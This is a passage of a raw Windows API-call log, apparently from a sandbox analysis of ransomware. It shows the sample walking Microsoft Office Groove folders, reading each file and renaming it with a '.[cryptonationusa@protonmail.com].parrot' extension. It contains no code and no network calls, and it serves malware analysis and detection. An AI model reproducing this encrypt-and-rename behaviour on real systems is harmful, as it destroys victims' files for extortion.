office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\validation.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.596] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.596] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.597] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.597] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x295, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x295, lpOverlapped=0x0) returned 1 [0189.598] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.603] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.603] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.604] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.604] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x13e, lpOverlapped=0x0) returned 1 [0189.604] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.604] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.649] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.649] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.651] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.651] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x505b, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x505b, lpOverlapped=0x0) returned 1 [0189.652] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.JS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.658] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.658] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.659] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.659] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x207, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x207, lpOverlapped=0x0) returned 1 [0189.660] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEWBY.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewby.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEWBY.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewby.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.665] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.666] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.667] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x54, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x54, lpOverlapped=0x0) returned 1 [0189.667] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewDblClick.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewdblclick.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewDblClick.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewdblclick.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.675] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.675] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.676] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.676] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd78, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xd78, lpOverlapped=0x0) returned 1 [0189.677] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.682] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.682] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.683] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.683] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xce, lpOverlapped=0x0) returned 1 [0189.683] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewSelectionChanged.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewselectionchanged.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewSelectionChanged.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewselectionchanged.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.688] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0189.688] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfd168340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfd168340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0189.688] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbe371e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xd08, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADDTOV~1.PAR")) returned 1 [0189.688] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0189.698] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0189.698] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0189.699] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0189.699] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0189.699] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0189.700] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.700] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.701] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.701] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x244, lpOverlapped=0x0) returned 1 [0189.701] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.702] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\add.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ADD.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\add.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.707] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.707] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.708] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.709] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbe8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xbe8, lpOverlapped=0x0) returned 1 [0189.709] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.714] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.714] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.716] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.716] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x924, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x924, lpOverlapped=0x0) returned 1 [0189.716] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.717] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrowmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrowMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrowmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.721] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.722] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.723] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.723] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xae8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xae8, lpOverlapped=0x0) returned 1 [0189.724] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.724] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\attention.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\attention.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\attention.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.729] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.729] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.730] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.731] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x614e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x614e, lpOverlapped=0x0) returned 1 [0189.732] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_adobe.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\BG_ADOBE.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_adobe.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.739] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.739] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.740] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.741] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x161d, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x161d, lpOverlapped=0x0) returned 1 [0189.741] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.742] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_casual.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Casual.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_casual.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.748] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.748] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.751] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.751] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7dd3, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x7dd3, lpOverlapped=0x0) returned 1 [0189.753] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.753] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_country.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Country.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_country.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.760] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.760] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.762] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.762] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x132a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x132a, lpOverlapped=0x0) returned 1 [0189.762] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_earthy.gif"), lpNewFileName="C:\\Program Files\\Microsoft 